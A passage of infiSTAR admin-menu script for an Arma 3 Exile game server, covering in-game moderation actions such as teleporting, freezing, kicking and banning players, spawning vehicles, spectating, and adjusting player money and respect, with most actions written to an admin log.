  9046. _log = format['%1 - %2(%3)',_click,name _unit,getPlayerUID _unit];_log call fnc_adminLog;
  9047.  
  9048. if(_click == 'Teleport - Target To Me')exitWith{[_unit] call fnc_TP2ME;};
  9049. if(_click == 'Teleport - Me To Target')exitWith{[_unit] call fnc_TPME2;};
  9050. if(_click == 'Request Steam Name')exitWith{[_unit] call fnc_getSteamName;};
  9051. if(_click == 'Revive')exitWith{[_unit] call fnc_ReviveTarget;};
  9052. if(_click == 'Heal')exitWith{[_unit] call fnc_HealTarget;};
  9053. if(_click == 'Restore')exitWith{[_unit] call fnc_RepairTarget;};
  9054. if(_click == 'Flip Vehicle')exitWith{[_unit] call fnc_flipVeh;};
  9055. if(_click == 'Move In My Vehicle')exitWith{[_unit] call fnc_MoveInMyVehicle;};
  9056. if(_click == 'Move In Target Vehicle')exitWith{[_unit] call fnc_MoveInTargetVehicle;};
  9057. if(_click == 'Freeze')exitWith{[_unit,true] call fnc_freezeTarget;};
  9058. if(_click == 'UnFreeze')exitWith{[_unit,false] call fnc_freezeTarget;};
  9059. if(_click == 'Unconscious')exitWith{[_unit,true] call fnc_unconscious;};
  9060. if(_click == 'Remove Unconscious')exitWith{[_unit,false] call fnc_unconscious;};
  9061. if(_click == 'Restrain')exitWith{[_unit,true] call fnc_restrainTarget;};
  9062. if(_click == 'UnRestrain')exitWith{[_unit,false] call fnc_restrainTarget;};
  9063. if(_click == 'Remove Gear')exitWith{[_unit] call fnc_RemoveGear;};
  9064. if(_click == 'Eject')exitWith{[_unit] call fnc_EjectTargetVeh;};
  9065. if(_click == 'Eject Crew')exitWith{[_unit] call fnc_EjectCrewTargetVeh;};
  9066. if(_click == 'Force Disconnect')exitWith{[_unit] call fnc_Disconnect_selected;};
  9067. if(_click == 'Kick (Silent)')exitWith{[_unit,0,0] call fnc_do_target;};
  9068. if(_click == 'Kick (Announce)')exitWith{[_unit,0,1] call fnc_do_target;};
  9069. if(_click == 'Ban (Silent)')exitWith{[_unit,1,0] call fnc_do_target;};
  9070. if(_click == 'Ban (Announce)')exitWith{[_unit,1,1] call fnc_do_target;};
  9071. if(_click == 'TempBan (Silent)')exitWith{[_unit,2,0] call fnc_do_target;};
  9072. if(_click == 'TempBan (Announce)')exitWith{[_unit,2,1] call fnc_do_target;};
  9073. if(_click in infiSTAR_CUSTOM_OnTarget)then
  9074. {
  9075. _id = infiSTAR_CUSTOM_OnTarget find _click;
  9076. if!(_id isEqualTo -1)then
  9077. {
  9078. _unit call (missionNameSpace getVariable format['FNC_CUSTOM_ON_TARGET_%1',_id]);
  9079. };
  9080. };
  9081. };
  9082.  
  9083. _exitHere = false;
  9084. {
  9085. if(_click isEqualTo _x)exitWith{[_x,_forEachIndex] call fnc_create_Box;_exitHere=true;};
  9086. } forEach allSupportBoxesNames;
  9087. if(_exitHere)exitWith{true};
  9088.  
  9089. _exitHere = false;
  9090. {
  9091. if(_click isEqualTo format['Create Billboard: %1',_x select 0])exitWith
  9092. {
  9093. _forEachIndex call fnc_createBillboard;
  9094. };
  9095. } forEach pathToCustomBillBoardTextures;
  9096. if(_exitHere)exitWith{true};
  9097.  
  9098. switch (_click) do {
  9099. case '==== OnTarget ====':{if(isNil 'infiSTAR_add_OnTarget')then{infiSTAR_add_OnTarget = true;} else {infiSTAR_add_OnTarget = nil;};};
  9100. case '==== Toggleable ====':{if(isNil 'infiSTAR_add_Toggleable')then{infiSTAR_add_Toggleable = true;} else {infiSTAR_add_Toggleable = nil;};};
  9101. case '==== Base Deleter ====':{if(isNil 'infiSTAR_add_BaseDeleter')then{infiSTAR_add_BaseDeleter = true;} else {infiSTAR_add_BaseDeleter = nil;};};
  9102. case '==== Custom Functions ====':{if(isNil 'infiSTAR_add_customFunctions')then{infiSTAR_add_customFunctions = true;} else {infiSTAR_add_customFunctions = nil;};};
  9103. case '==== Vehicles ====':{if(isNil 'infiSTAR_add_vehicles')then{infiSTAR_add_vehicles = true;} else {infiSTAR_add_vehicles = nil;};};
  9104. case 'clear ingame HackLog':{[0] call fnc_clearLogArray;_click call fnc_adminLog;[] call fnc_fill_HackLog;};
  9105. case 'clear ingame AdminLog':{[1] call fnc_clearLogArray;_click call fnc_adminLog;[] call fnc_fill_AdminLog;};
  9106. case 'BIS FreeRoam Cam (works with ESP)':{call fnc_BIS_FreeRoamCam;_click call fnc_adminLog;};
  9107. case 'FreeRoam Cam (does not work with ESP)':{call fnc_FreeRoamCam;_click call fnc_adminLog;};
  9108. case 'Day':{11 call fnc_changeTime;_click call fnc_adminLog;};
  9109. case 'Night':{23 call fnc_changeTime;_click call fnc_adminLog;};
  9110. case 'AdminConsole':{[] call fnc_workplace;};
  9111. case 'DebugConsole':{[] spawn fnc_RscDisplayDebugPublic;};
  9112. case 'Copy Worldspace(coords) to RPT & Chat':{[] call fnc_worldspace;};
  9113. case 'Mass Message':{[] call fnc_mass_message;};
  9114. case 'Spawn Ammo':{[] call infiSTAR_A3addAmmo;};
  9115. case 'Change ViewDistance':{[] call FN_CHANGE_VIEWDISTANCE;};
  9116. case 'Self Disconnect':{_click call fnc_adminLog;(finddisplay 46) closeDisplay 0;};
  9117. };
  9118. if(_click in newAllItems_CATEGORY)then
  9119. {
  9120. _varstate = missionNameSpace getVariable (_click+'SHOW_STATE');
  9121. if(isNil '_varstate')then
  9122. {
  9123. missionNameSpace setVariable[(_click+'SHOW_STATE'),true];
  9124. }
  9125. else
  9126. {
  9127. missionNameSpace setVariable[(_click+'SHOW_STATE'),nil];
  9128. };
  9129. };
  9130. _class = lbData[RIGHT_SHIFT_ID,(lbCurSel RIGHT_SHIFT_ID)];
  9131. if(_class in ALLC_ITEMS)exitWith
  9132. {
  9133. call fnc_GET_ITEM;
  9134. };
  9135. if(_class in ALL_VEHS_TO_SEARCH_C)exitWith
  9136. {
  9137. if!(('Spawn Vehicles' call ADMINLEVELACCESS) || ('Spawn Persistent Vehicles' call ADMINLEVELACCESS))exitWith{hint 'You are not allowed to spawn vehicles!';};
  9138.  
  9139. _target = call fnc_get_selected_object;
  9140. _position = AGLToASL (_target modelToWorld [0,10,0]);
  9141. _dir = getDir (vehicle _target);
  9142.  
  9143. if(BTN_SPAWN_VEH_SEL isEqualTo 0)then
  9144. {
  9145. _log = format['Spawning %1 infront of %2! (NonPersistent)',_click,name _target];
  9146. _log call FN_SHOW_LOG;
  9147. [0,_class,_position,_dir,netId _target,false] call fnc_AdminReq;
  9148. format['spawning %1 (NonPersistent)',_click] call fnc_adminLog;
  9149. }
  9150. else
  9151. {
  9152. _log = format['Spawning %1 infront of %2! (Persistent)',_click,name _target];
  9153. _log call FN_SHOW_LOG;
  9154. [0,_class,_position,_dir,netId _target,true] spawn {
  9155. disableSerialization;
  9156. _array = _this;
  9157. call ExileClient_gui_interactionMenu_unhook;
  9158. ExileClientInteractionObject = player;
  9159. _pincode = 4 call ExileClient_gui_keypadDialog_show;
  9160. _array pushBack _pincode;
  9161. _array call fnc_AdminReq;
  9162. };
  9163. format['spawning %1 (Persistent)',_click] call fnc_adminLog;
  9164. };
  9165. };
  9166. if(_click == 'Login')then{if(isNil 'serverCommandLoginDone')then{serverCommandLoginDone = true;serverCommand ('#login '+passwordAdmin);};};
  9167. if((_click find '#kick' > -1) || (_click find '#exec' > -1))then{serverCommand _click;};
  9168. if((FILLMAINSTATE == 0)||(FILLMAINSTATE == 1))then{[] call fnc_fill_infiSTAR_MAIN;};
  9169. };
  9170. fnc_LBSelChanged_RIGHT = {
  9171. _class = lbData[RIGHT_SHIFT_ID,(lbCurSel RIGHT_SHIFT_ID)];
  9172. _cfg = call {
  9173. if(isClass (configFile >> 'CfgWeapons' >> _class))exitWith{'CfgWeapons'};
  9174. if(isClass (configFile >> 'CfgMagazines' >> _class))exitWith{'CfgMagazines'};
  9175. if(isClass (configFile >> 'CfgVehicles' >> _class))exitWith{'CfgVehicles'};
  9176. ''
  9177. };
  9178. ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 8406);
  9179. ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 8407);
  9180. if(_cfg != '')then
  9181. {
  9182. _txt = gettext(configFile >> _cfg >> _class >> 'Library' >> 'libTextDesc');
  9183. if(_txt isEqualTo '')then{_txt = 'by infiSTAR.de';};
  9184. if(_cfg isEqualTo 'CfgVehicles')then
  9185. {
  9186. _salesPrice = getNumber(missionConfigFile >> 'CfgExileArsenal' >> _class >> 'price');
  9187. if(_salesPrice isEqualTo 0)then{_salesPrice = 'unknown';}else{_salesPrice = format['%1 PopTabs',_salesPrice];};
  9188. _vehicleConfig = configFile >> _cfg >> _class;
  9189. _info = format['Capacity: %1 Armor: %2 Fuel: %3 MaxSpeed: %4 Price: %5',getNumber(_vehicleConfig>>'maximumLoad'),getNumber(_vehicleConfig>>'armor'),getNumber(_vehicleConfig>>'fuelCapacity'),getNumber(_vehicleConfig>>'maxSpeed'),_salesPrice];
  9190. _log = format['Class: %1 %2',_class,_info];
  9191. _txt=(_info+'<br/>'+_txt);
  9192. };
  9193. _ctrlText = '<t align=''center'' size=''0.85''>'+_txt+' </t>';
  9194. _pic = (getText (configFile >> _cfg >> _class >> 'picture'));
  9195. if(_pic call FNC_PIC_VALID)then
  9196. {
  9197. _ctrlText = _ctrlText + '<br/><img align=''center'' size=''3.5'' image='''+_pic+'''/>';
  9198. };
  9199. _ctrl = [findDisplay MAIN_DISPLAY_ID,'RscStructuredText',8406] call fnc_createctrl;
  9200. _ctrl ctrlSetPosition [1.05,0.355 * safezoneH + safezoneY,0.65,0.5];
  9201. _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
  9202. _ctrl ctrlCommit 0;
  9203. _ctrl ctrlSetStructuredText parseText _ctrlText;
  9204.  
  9205. _ctrl = [findDisplay MAIN_DISPLAY_ID,'RSCEdit',8407] call fnc_createctrl;
  9206. _ctrl ctrlSetPosition [0.59,safezoneY + safezoneH - 0.06,count _class / 100,0.05];
  9207. _ctrl ctrlSetPosition [1.05,(0.355 * safezoneH + safezoneY)-0.05,0.65,0.05];
  9208. _ctrl ctrlSetBackgroundColor [0,0,0,0.6];
  9209. _ctrl ctrlCommit 0;
  9210. _ctrl ctrlSetText _class;
  9211. };
  9212. };
  9213. fnc_getConfig = {
  9214. _cfg = '';
  9215. if(isClass (configFile >> 'CfgWeapons' >> _this))then
  9216. {
  9217. _cfg = 'CfgWeapons';
  9218. }
  9219. else
  9220. {
  9221. if(isClass (configFile >> 'CfgMagazines' >> _this))then
  9222. {
  9223. _cfg = 'CfgMagazines';
  9224. }
  9225. else
  9226. {
  9227. if(isClass (configFile >> 'CfgVehicles' >> _this))then
  9228. {
  9229. _cfg = 'CfgVehicles';
  9230. };
  9231. };
  9232. };
  9233. _cfg
  9234. };
  9235. admin_showGear = {
  9236. if(!isNull cameraOn)then
  9237. {
  9238. closeDialog 0;
  9239. createGearDialog [cameraOn,'RscDisplayInventory'];
  9240. _log = format['Showing Gear of %1',name cameraOn];
  9241. _log call FN_SHOW_LOG;
  9242. };
  9243. };
  9244. fnc_endSpectate = {
  9245. if(!isNil'SPECTATE_THREAD')then{terminate SPECTATE_THREAD;SPECTATE_THREAD=nil;};
  9246. (vehicle player) switchCamera cameraView;
  9247. ctrlDelete ((findDisplay 46) displayCtrl 3025);
  9248. _log = 'Finished spectating.';
  9249. _log call FN_SHOW_LOG;
  9250. };
  9251. fnc_beginspectate = {
  9252. if(!isNil'SPECTATE_THREAD')then{terminate SPECTATE_THREAD;SPECTATE_THREAD=nil;};
  9253. SPECTATE_THREAD = _this spawn {
  9254. disableSerialization;
  9255. _log = 'Spectating - Press F10 to exit.';
  9256. _log call FN_SHOW_LOG;
  9257. _unit = _this;
  9258. _ctrl = [findDisplay 46,'RscStructuredText',3025] call fnc_createctrl;
  9259. _ctrl ctrlSetPosition [safezoneX+0.2,safezoneY+0.405,1,1];
  9260. _ctrl ctrlCommit 0;
  9261. while {true} do
  9262. {
  9263. if(isNil'_unit')exitWith{call fnc_endspectate;};
  9264. if(isNull _unit)exitWith{call fnc_endspectate;};
  9265.  
  9266. _veh = vehicle _unit;
  9267. if(str _veh != str cameraOn)then
  9268. {
  9269. player reveal _unit;
  9270. player reveal _veh;
  9271. _veh switchCamera cameraView;
  9272. format['SPECTATE - switchedCamera on %1(%2)',name _unit,getPlayerUID _unit] call fnc_adminLog;
  9273. };
  9274.  
  9275. _log = format['%1 (%2) @%3',name _unit,getPlayerUID _unit,mapGridPosition _veh];
  9276. _ctrlText = '<t align=''left'' size=''1.1'' color=''#238701''>'+_log+'</t>';
  9277.  
  9278. _moneyP = _unit getVariable ['ExileMoney', 0];
  9279. _moneyP = if(_moneyP > 1000)then{format['%1K',_moneyP / 1000]}else{_moneyP};
  9280.  
  9281. _moneyB = _unit getVariable ['ExileLocker', 0];
  9282. _moneyB = if(_moneyB > 1000)then{format['%1K',_moneyB / 1000]}else{_moneyB};
  9283.  
  9284. _respect = _unit getVariable ['ExileScore', 0];
  9285. _log2 = format['Health: %1 Cash: %2 Bank: %3 Respect: %4',(1-(damage _unit))*100,_moneyP,_moneyB,_respect];
  9286. _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#238701''>'+_log2+'</t>';
  9287.  
  9288. _cwep = '';
  9289. _cammo = '';
  9290. _cmags = '';
  9291. _wpnstate = weaponState _unit;
  9292. if(!isNil '_wpnstate')then
  9293. {
  9294. if(str _wpnstate != '[]')then
  9295. {
  9296. _cwep = _wpnstate select 0;
  9297. _cmags = {_wpnstate select 3 == _x} count magazines _unit;
  9298. _cammo = _wpnstate select 4;
  9299. };
  9300. };
  9301. if(_cwep == '')then
  9302. {
  9303. _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#238701''>Bare Fists</t>';
  9304. }
  9305. else
  9306. {
  9307. _type = _cwep;
  9308. _cfg = _type call fnc_getConfig;
  9309. _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
  9310. _pic = getText (configFile >> _cfg >> _type >> 'picture');
  9311. _log3 = format[' %1 [%2] (%3/%4)',_displayName,_cwep,_cammo,_cmags];
  9312. _ctrlText = _ctrlText + '<br/><img image='''+_pic+''' align=''left'' size=''1.1''/><t align=''left'' size=''1.1'' color=''#238701''>'+_log3+'</t>';
  9313.  
  9314. if(_veh != _unit)then
  9315. {
  9316. _cwepsV = [];
  9317. {
  9318. if(_x find 'Horn' == -1)then
  9319. {
  9320. _cwepsV pushBack _x;
  9321. };
  9322. } forEach (weapons _veh);
  9323.  
  9324. if(count _cwepsV > 0)then
  9325. {
  9326. _YPOS = safezoneY+0.355;
  9327.  
  9328. {
  9329. _cwep = _x;
  9330. _cammo = _veh ammo _cwep;
  9331. _cmags = {currentMagazine _veh == _x} count magazines _veh;
  9332.  
  9333. _type = _cwep;
  9334. _cfg = _type call fnc_getConfig;
  9335. _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
  9336.  
  9337. _log3a = format[' %1 [%2] (%3/%4)',_displayName,_cwep,_cammo,_cmags];
  9338. _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#A90F68''>'+_log3a+'</t>';
  9339. _YPOS = _YPOS - 0.03;
  9340. } forEach _cwepsV;
  9341. };
  9342. };
  9343. };
  9344.  
  9345. _ct = cursorTarget;
  9346. if(!isNull _ct)then
  9347. {
  9348. if(getPlayerUID _ct != '')then
  9349. {
  9350. _cwep_ct = currentWeapon _ct;
  9351. _cammo_ct = _ct ammo _cwep_ct;
  9352. _cmags_ct = {currentMagazine _ct == _x} count magazines _ct;
  9353.  
  9354. _log4 = format['%1 (%2) @%3',name _ct,getPlayerUID _ct,mapGridPosition _ct];
  9355. _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log4+'</t>';
  9356.  
  9357. _log5 = format['Health: %1 Distance: %2m',(1-(damage _ct))*100,round(cameraOn distance _ct)];
  9358. _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log5+'</t>';
  9359.  
  9360. _type = _cwep_ct;
  9361. _cfg = _type call fnc_getConfig;
  9362. _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
  9363. _pic = getText (configFile >> _cfg >> _type >> 'picture');
  9364. _log6 = format[' %1 [%2] (%3/%4)',_displayName,_cwep_ct,_cammo_ct,_cmags_ct];
  9365. _ctrlText = _ctrlText + '<br/><img image='''+_pic+''' align=''left'' size=''1.1''/><br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log6+'</t>';
  9366. }
  9367. else
  9368. {
  9369. _type = typeOf _ct;
  9370. _cfg = _type call fnc_getConfig;
  9371. _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
  9372. _log4 = format['%1 [%2] @%3',_displayName,_type,mapGridPosition _ct];
  9373. _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log4+'</t>';
  9374.  
  9375. _log5 = format['Health: %1 - Distance: %2m',(1-(damage _ct))*100,round(cameraOn distance _ct)];
  9376. _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#B80B36''>'+_log5+'</t>';
  9377. };
  9378.  
  9379. _vehCT = vehicle _ct;
  9380. if((_vehCT isKindOf 'LandVehicle') || (_vehCT isKindOf 'Air') || (_vehCT isKindOf 'Ship') || (_vehCT isKindOf 'Static'))then
  9381. {
  9382. _cwepsV = [];
  9383. {
  9384. if(_x find 'Horn' == -1)then
  9385. {
  9386. _cwepsV pushBack _x;
  9387. };
  9388. } forEach (weapons _vehCT);
  9389.  
  9390. if(count _cwepsV > 0)then
  9391. {
  9392. _YPOS = safezoneY+0.655;
  9393.  
  9394. {
  9395. _cwep = _x;
  9396. _cammo = _vehCT ammo _cwep;
  9397. _cmags = {currentMagazine _vehCT == _x} count magazines _vehCT;
  9398.  
  9399. _type = _cwep;
  9400. _cfg = _type call fnc_getConfig;
  9401. _displayName = getText (configFile >> _cfg >> _type >> 'displayName');
  9402.  
  9403. _log6a = format[' %1 [%2] (%3/%4)',_displayName,_cwep,_cammo,_cmags];
  9404. _ctrlText = _ctrlText + '<br/><t align=''left'' size=''1.1'' color=''#A90F68''>'+_log6a+'</t>';
  9405. _YPOS = _YPOS + 0.03;
  9406. } forEach _cwepsV;
  9407. };
  9408. };
  9409. };
  9410. _ctrl ctrlSetStructuredText parseText _ctrlText;
  9411. uiSleep .15;
  9412. };
  9413. };
  9414. };
  9415. fnc_clearLogArray = {
  9416. [-668,_this select 0] call fnc_AdminReq;
  9417. _log = 'ingame Log(s) cleared!';
  9418. _log call FN_SHOW_LOG;
  9419. [] call fnc_FULLinit;
  9420. };
  9421. fnc_getSteamName = {
  9422. [9876,getPlayerUID (_this select 0)] call fnc_AdminReq;
  9423. _log = format['Requested Steam Name of %1(%2)',name (_this select 0),getPlayerUID (_this select 0)];
  9424. _log call FN_SHOW_LOG;
  9425. };
  9426. fnc_TP2ME = {
  9427. _unit = _this select 0;
  9428. _pos = player modelToWorld [0,12,0];
  9429. if(_unit isEqualTo vehicle _unit)then{_pos = player modelToWorld [0,1,0];};
  9430. [1,netId _unit,_pos] call fnc_AdminReq;
  9431.  
  9432. _log = format['Teleported %1 to you',name _unit];
  9433. _log call FN_SHOW_LOG;
  9434. };
  9435. fnc_TPME2 = {
  9436. _unit = _this select 0;
  9437. _unit = vehicle _unit;
  9438. _object = vehicle player;
  9439. prevLoc = getPosATL _object;
  9440. _distance = -1;if!(_object isEqualTo player)then{_distance = -5;};
  9441. _pos = _unit modelToWorld [0,_distance,0];
  9442. if(local _object)then
  9443. {
  9444. _object setPos _pos;
  9445. }
  9446. else
  9447. {
  9448. [1,netId player,_pos] call fnc_AdminReq;
  9449. };
  9450. _log = format['Teleported to %1 - press BACKSPACE to revert teleport',name _unit];
  9451. _log call FN_SHOW_LOG;
  9452. };
  9453. fnc_MoveInMyVehicle = {
  9454. _unit = _this select 0;
  9455. _unit moveInAny (vehicle player);
  9456. };
  9457. fnc_MoveInTargetVehicle = {
  9458. _unit = _this select 0;
  9459. player moveInAny (vehicle _unit);
  9460. };
  9461. fnc_EjectTargetVeh = {
  9462. _unit = _this select 0;
  9463. moveOut _unit;
  9464. unassignVehicle _unit;
  9465. _unit action ['eject', (vehicle _unit)];
  9466. };
  9467. fnc_EjectCrewTargetVeh = {
  9468. _unit = _this select 0;
  9469. _veh = (vehicle _unit);
  9470. _uids = [];
  9471. {
  9472. moveOut _x;
  9473. unassignVehicle _x;
  9474. _x action ['eject', _veh];
  9475. _uids pushBack (getPlayerUID _x)
  9476. } forEach (crew _veh);
  9477. };
  9478. fnc_RemoveGear = {
  9479. _target = _this select 0;
  9480. if(typeName _target != 'OBJECT')then
  9481. {
  9482. _target = cursorTarget;
  9483. };
  9484. if(!isNull _target)then
  9485. {
  9486. [11,netId _target] call fnc_AdminReq;
  9487.  
  9488. _log = format['Removed Gear of %1!',name _target];
  9489. _log call FN_SHOW_LOG;
  9490. };
  9491. };
  9492. fnc_worldspace = {
  9493. disableSerialization;
  9494. _name = name cameraOn;
  9495. _puid = getPlayerUID cameraOn;
  9496. _dir = getDir cameraOn;
  9497. _pos = getPosATL cameraOn;
  9498. _worldspace = format['[%1,%2]',_dir,_pos];
  9499. _log = format['Worldspace of %1(%2): %3',_name,_puid,_worldspace];
  9500. systemChat format['%1 - saved to RPT',_log];
  9501. diag_log [_log,'PLAIN DOWN'];
  9502. if(isNull (findDisplay 24))then{(findDisplay 46) createDisplay 'RscDisplayChat';};
  9503. _display = (findDisplay 24);
  9504. _chat = _display displayCtrl 101;
  9505. _chat ctrlSetText _worldspace;
  9506. _log call fnc_adminLog;
  9507. };
  9508. fnc_mass_message = {
  9509. disableSerialization;
  9510. _display = findDisplay 24;
  9511. if(isNull _display)exitWith
  9512. {
  9513. _log = 'open your chat, type a message and start this function again!';
  9514. _log call FN_SHOW_LOG;
  9515. systemchat _log;
  9516. };
  9517. _chat = _display displayCtrl 101;
  9518. _msg = ctrlText _chat;
  9519. (_display) closeDisplay 0;
  9520. [7,toArray _msg] call fnc_AdminReq;
  9521. format['Mass Message: %1',_msg] call fnc_adminLog;
  9522.  
  9523. _log = 'message sent!';
  9524. _log call FN_SHOW_LOG;
  9525. };
  9526. fnc_changeTime = {
  9527. [17,_this] call fnc_AdminReq;
  9528. _log = format['changed time to hour: %1',_this];
  9529. _log call FN_SHOW_LOG;
  9530. };
  9531. fnc_get_addvalue = {
  9532. disableSerialization;
  9533. _display = findDisplay MAIN_DISPLAY_ID;
  9534.  
  9535. _ctrl = [_display,'IGUIBack',77764] call fnc_createctrl;
  9536. _ctrl ctrlSetPosition [
  9537. 0.6,
  9538. 0-(0.033 * safezoneH),
  9539. 0.7,
  9540. 0.099 * safezoneH
  9541. ];
  9542. _ctrl ctrlSetBackgroundColor [0.15,0.15,0.15,1];
  9543. _ctrl ctrlCommit 0;
  9544.  
  9545. _ctrl = [_display,'RscEdit',77769] call fnc_createctrl;
  9546. _ctrl ctrlSetPosition [
  9547. 0.6,
  9548. 0,
  9549. 0.7,
  9550. 0.033 * safezoneH
  9551. ];
  9552. ctrlSetFocus _ctrl;
  9553. _ctrl ctrlCommit 0;
  9554.  
  9555. fnc_ButtonClick_77766 = {
  9556. _txt = ctrlText 77769;
  9557. if(_txt != '')then
  9558. {
  9559. fnc_get_addvalue_VALUE = (parseNumber _txt);
  9560. ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77764);
  9561. ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77769);
  9562. ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77766);
  9563. ctrlDelete ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77765);
  9564. };
  9565. };
  9566.  
  9567. _ctrl = [_display,'RSCButton',77766] call fnc_createctrl;
  9568. _ctrl ctrlSetPosition [
  9569. 0.8,
  9570. 0.033 * safezoneH,
  9571. 0.3,
  9572. 0.033 * safezoneH
  9573. ];
  9574. _ctrl ctrlSetEventHandler['ButtonClick','call fnc_ButtonClick_77766'];
  9575.  
  9576. fnc_get_addvalue_VALUE = nil;
  9577. _ctrl = [_display,'RscText',77765] call fnc_createctrl;
  9578. _ctrl ctrlSetPosition [
  9579. 0.6,
  9580. 0-(0.033 * safezoneH),
  9581. 0.7,
  9582. 0.033 * safezoneH
  9583. ];
  9584. waitUntil {
  9585. _curval = 0;
  9586. _curname = call {
  9587. if(_this isEqualTo 0)exitWith{_curval = SELECTED_TARGET_PLAYER getVariable ['ExileMoney', 0];'Money on player'};
  9588. if(_this isEqualTo 1)exitWith{_curval = SELECTED_TARGET_PLAYER getVariable ['ExileLocker', 0];'Money on bank'};
  9589. if(_this isEqualTo 2)exitWith{_curval = SELECTED_TARGET_PLAYER getVariable ['ExileScore', 0];'Respect'};
  9590. };
  9591. (findDisplay MAIN_DISPLAY_ID displayCtrl 77766) ctrlSetText format['+/- %1',_curname];
  9592. _addval = parseNumber(ctrlText 77769);
  9593. (findDisplay MAIN_DISPLAY_ID displayCtrl 77766) ctrlEnable true;
  9594. (findDisplay MAIN_DISPLAY_ID displayCtrl 77766) ctrlCommit 0;
  9595. ctrlSetFocus ((findDisplay MAIN_DISPLAY_ID) displayCtrl 77769);
  9596.  
  9597. (findDisplay MAIN_DISPLAY_ID displayCtrl 77765) ctrlSetText format['Current %1: %2 - after change: %3',_curname,_curval,_curval + _addval];
  9598. (findDisplay MAIN_DISPLAY_ID displayCtrl 77765) ctrlCommit 0;
  9599.  
  9600. !isNil 'fnc_get_addvalue_VALUE' ||
  9601. isNull (findDisplay MAIN_DISPLAY_ID displayCtrl 77769)
  9602. };
  9603. if(isNil 'fnc_get_addvalue_VALUE')exitWith{0};
  9604. fnc_get_addvalue_VALUE
  9605. };
  9606. fnc_ExileMoneyRespectChange = {
  9607. _target = _this select 0;
  9608. _option = _this select 1;
  9609. if(typeName _target != 'OBJECT')exitWith
  9610. {
  9611. _log = 'Target is not an Object!';
  9612. _log call FN_SHOW_LOG;
  9613. };
  9614. if!(isPlayer _target)exitWith
  9615. {
  9616. _log = 'Target is not a Player!';
  9617. _log call FN_SHOW_LOG;
  9618. };
  9619. _value = _option call fnc_get_addvalue;
  9620. if(_value isEqualTo 0)exitWith{systemChat 'WHY WOULD YOU WANT TO ADD OR REMOVE 0 POP-TABS..?';};
  9621.  
  9622. _nameit = _option call {
  9623. if(_this isEqualTo 0)exitWith{'Money to player'};
  9624. if(_this isEqualTo 1)exitWith{'Money to bank of player'};
  9625. if(_this isEqualTo 2)exitWith{'Respect to'};
  9626. 'ERROR'
  9627. };
  9628. if(_nameit isEqualTo 'ERROR')exitWith{systemChat 'ERROR';};
  9629.  
  9630. _log = format['%1 %2 %3 %4',if(_value < 0)then{'Removed'}else{'Added'},_nameit,_value,name _target];
  9631. [12001 + _option,netId _target,_value] call fnc_AdminReq;
  9632. _log call FN_SHOW_LOG;
  9633. (_log+'('+getPlayerUID _target+')') call fnc_adminLog;
  9634. };
  9635. fnc_freezeTarget = {
  9636. _target = _this select 0;
  9637. _value = _this select 1;
  9638. if(typeName _target != 'OBJECT')exitWith
  9639. {
  9640. _log = 'Target is not an Object!';
  9641. _log call FN_SHOW_LOG;
  9642. };
  9643. if!(isPlayer _target)exitWith
  9644. {
  9645. _log = 'Target is not a Player!';
  9646. _log call FN_SHOW_LOG;
  9647. };
  9648. [13,netId _target,_value] call fnc_AdminReq;
  9649. _log = format['UnFroze %1!',name _target];
  9650. if(_value)then{_log = format['Froze %1!',name _target];};
  9651. _log call FN_SHOW_LOG;
  9652. };
  9653. fnc_unconscious = {
  9654. _target = _this select 0;
  9655. _value = _this select 1;
  9656. if(typeName _target != 'OBJECT')exitWith
  9657. {
  9658. _log = 'Target is not an Object!';
  9659. _log call FN_SHOW_LOG;
  9660. };
  9661. if!(isPlayer _target)exitWith
  9662. {
  9663. _log = 'Target is not a Player!';
  9664. _log call FN_SHOW_LOG;
  9665. };
  9666. [18,netId _target,_value] call fnc_AdminReq;
  9667. _log = format['Removed unconscious from %1!',name _target];
  9668. if(_value)then{_log = format['Put %1 unconscious!',name _target];};
  9669. _log call FN_SHOW_LOG;
  9670. };
  9671. fnc_restrainTarget = {
  9672. _target = _this select 0;
  9673. _value = _this select 1;
  9674. if(typeName _target != 'OBJECT')exitWith
  9675. {
  9676. _log = 'Target is not an Object!';
  9677. _log call FN_SHOW_LOG;
  9678. };
  9679. if!(isPlayer _target)exitWith
  9680. {
  9681. _log = 'Target is not a Player!';
  9682. _log call FN_SHOW_LOG;
  9683. };
  9684. [15,netId _target,netId player,_value] call fnc_AdminReq;
  9685. _log = format['UnRestrained %1!',name _target];
  9686. if(_value)then{_log = format['Restrained %1!',name _target];};
  9687. _log call FN_SHOW_LOG;
  9688. };
  9689. fnc_create_Box = {
  9690. private['_boxname','_select','_target'];
  9691. _boxname = _this select 0;
  9692. _select = _this select 1;
  9693. _target = call fnc_get_selected_object;
  9694. [5000,netId _target,_select] call fnc_AdminReq;
  9695. _log = format['%1 created for %2(%3)!',_boxname,name _target,getPlayerUID _target];
  9696. _log call FN_SHOW_LOG;
  9697. _log call fnc_adminLog;
  9698. };
  9699. admin_showinfo_catch = {
  9700. {player reveal _x;} foreach (cameraOn nearObjects 50);
  9701. params['_obj','_pin','_ownername','_owneruid'];
  9702. if!(_pin isEqualTo '')then{_obj setVariable ['ExileAlreadyKnownCode',_pin];};
  9703. if(!isNil'delete_old_show_thread')then{terminate delete_old_show_thread;delete_old_show_thread=nil;};
  9704. delete_old_show_thread = _this spawn {
  9705. params['_obj','_pin','_ownername','_owneruid'];
  9706. disableSerialization;
  9707. _timer = diag_tickTime + 15;
  9708. while {_timer > diag_tickTime} do
  9709. {
